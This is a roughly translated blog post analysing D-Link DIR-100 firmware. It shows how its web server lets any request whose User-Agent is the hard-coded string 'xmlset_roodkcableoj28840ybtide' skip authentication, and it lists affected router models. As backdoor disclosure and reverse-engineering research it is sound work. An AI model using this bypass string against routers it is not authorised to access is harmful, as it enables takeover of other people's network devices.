OK, another weekend night, no date, just a big bottle of Shasta Soda and all the fast-paced music ... Let's study the program.
On the spur of the moment, I downloaded the firmware program v1.13 for the D-link wireless router (model: DIR-100 RevA). Using tool Binwalk, it quickly discovers and extracts a read-only SQUASHFS file system, and it's not going to take much effort to load this firmware Web server (/bin/webs) into Ida:
Character information in the/bin/webs
Based on the above character information, it can be seen that this/bin/webs binary is a modified version of the THTTPD, providing router administrator interface operation function. It appears to have been modified by Taiwan's D-link Technology (a subsidiary of the company). They even have a lot of scheming to add their many custom function names to the "Alpha" prefix:
The custom function of Ming Tai Technology
This alpha_auth_check function looks very interesting!
This function is called by many places, and the most obvious one is from the alpha_httpd_parse_request function:
Calling the Alpha_auth_check function
We can see that the alpha_auth_check function receives an argument (which is stored in the Register $S2), and if alpha_auth_check returns-1 (0xFFFFFFFF), the program jumps to the at the end of the alpha_httpd_parse_request, otherwise it will continue to process the request.
Register $S2 The operation code before being used by the Alpha_auth_check function shows that it is a pointer to a data structure body, which has a char* pointer that points to the various data received from the HTTP request. , such as HTTP header information and request address URL:
$s 2 is a pointer to a data structure body
We can now simulate the approximate appearance of the Alpha_auth_check function and data structure body:
struct http_request_t{char Unknown[0xb8]; char *url;//at offset 0xb8 into the data structure};int Alpha_auth_check (stru CT http_request_t *request);
The Alpha_auth_check itself is a very simple function. It does a string strcmp comparison operation against some pointers in the http_request_t structure, and then calls the check_login function, which is actually an authentication check. If a string succeeds or Check_login succeeds, it returns 1; no, it redirects the browser to the login page and returns-1;
Alpha_auth_check function Code Fragment
These string comparison procedures look very interesting. They extract the URL address of the request (at the offset of the http_request_t data Structure body 0XB8) to check whether they contain the string "graphic/" or "public/". These are public subdirectories located in the router's web directory, and if the request address contains such a string, the requests can be performed without identity authentication.
However, this last strcmp is quite eye-catching:
A very interesting string comparison in the Alpha_auth_check function
This action compares the string pointer 0xd0 the offset in the http_request_t structure with the string "Xmlset_roodkcableoj28840ybtide", and if the character matches, it skips Check_ Login function,alpha_auth_check operation returned 1 (authentication passed).
I googled the "xmlset_roodkcableoj28840ybtide" string on Google and found it in a Russian forum, saying it was a "very interesting" line in/bin/webs. I agree with you very much.
So what exactly does this mysterious string compare to? If you look back at the call path, we will find that the http_request_t structure is passed into several functions:
It turns out that the pointer at the offset 0xd0 in thehttp_request_t structure is assigned by the httpd_parse_request function:
Check for user-agent values in HTTP header information
Point the http_request_t + 0xd0 pointer to the header information User-agent string
The code is actually:
if (strstr header, "user-agent:")!= NULL) {http_request_t->0xd0 = header + strlen ("user-agent:") + strspn (header, \ t );}
Knowing the pointer to the user-agent header at the http_request_t offset 0xd0, we can infer the structure of the alpha_auth_check function:
#define AUTH_OK 1#define auth_fail-1int alpha_auth_check (struct http_request_t *request) {if strstr (Request->url, " graphic/") | | Strstr (Request->url, "public/") | | strcmp (request->user_agent, "xmlset_roodkcableoj28840ybtide") = = 0) {return AUTH_OK;} else {//This arguments are P Robably User/pass or Session info if (Check_login (request->0xc, REQUEST->0XE0)!= 0) {return AUTH_OK;}} return auth_fail;}
In other words, if the browser's user-agent value is "xmlset_roodkcableoj28840ybtide" (without quotes), you can access the Web control interface without any authentication and be able to view/modify the router's settings (the following is the D-link router (di-524up) Screenshots, I have no DIR-100 models, but di-524up models use the same firmware):
Access the main interface of the model Di-524up router
Based on the source code information and Shodan search results on the HTML page, it is almost possible to conclude that the following models of D-link routers will be affected:
- DIR-100
- DI-524
- Di-524up
- di-604s
- Di-604up
- di-604+
- tm-g5240
In addition, several Planex routers are apparently also used by the same firmware program:
You're cool, d-link.
footnote: Universal Netizen pointed out that the string "Xmlset_roodkcableoj28840ybtide" is a inverted preamble, the converse read is "EDITBY04882JOELBACKDOOR_TESLMX"--edit by 04882joel Backdoor _teslmx, the author of this backdoor is a genius!